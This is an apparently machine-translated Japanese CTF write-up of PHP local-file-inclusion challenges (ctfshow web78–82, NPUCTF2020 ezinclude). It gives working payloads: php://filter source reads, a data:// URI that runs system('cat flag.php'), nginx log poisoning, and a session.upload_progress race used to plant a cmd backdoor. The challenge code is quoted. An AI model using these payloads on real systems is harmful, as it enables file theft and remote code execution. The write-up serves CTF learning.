CTFSHOWファイルには次のものが含まれています

  • 今日の脆弱性が含まれているファイルを確認してください

ウェブ78

ペイロード:

?file=php://filter/convert.base64-encode/resource=flag.php

ウェブ79

ペイロード:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

ウェブ80-81

  • この質問には最初からスキルがあります
  • ソースコードはphpをフィルタリングし、データの疑似プロトコルは使用できません
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  • ペイロード
?file=/var/log/nginx/access.log
  • ファイルにはログファイルが含まれています
    ここに画像の説明を挿入

ウェブ82

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

連行された私的活動[NPUCTF2020] ezinclude

  • ページに入ったときにヒントを出しました
<!--md5($secret.$name)===$pass -->
  • パケットがキャプチャされた後、ハッシュ値は直接URLアップロードされます
  • そして、ヒントを与えましたinclude($_GET["file"]
  • ソースコードを読んでみてください\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    
    
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
  • これらを直接フィルタリングすることは機能せず、2つの方法を考えます。1つはログファイル(パスがわからない)で、もう1つは
    ファイルを含めるためのsession.upload_progressです。
  • この質問に対する私の解決策は、ファイルを含めてから競合攻撃を使用するsession.upload_progressです。
  • POC
    ここに画像の説明を挿入
  • ステージングされたファイルへのアクセス
    ここに画像の説明を挿入
  • 競争攻撃
  • バックドアを書く
  • POSTパラメーター:cmd = phpinfo();
  • フラグはphpinfo()にあります。カタログファイルを検索し、最後にwpを調べて、phpinfo()にあることを確認しました。

おすすめ

転載: blog.csdn.net/CyhDl666/article/details/115262796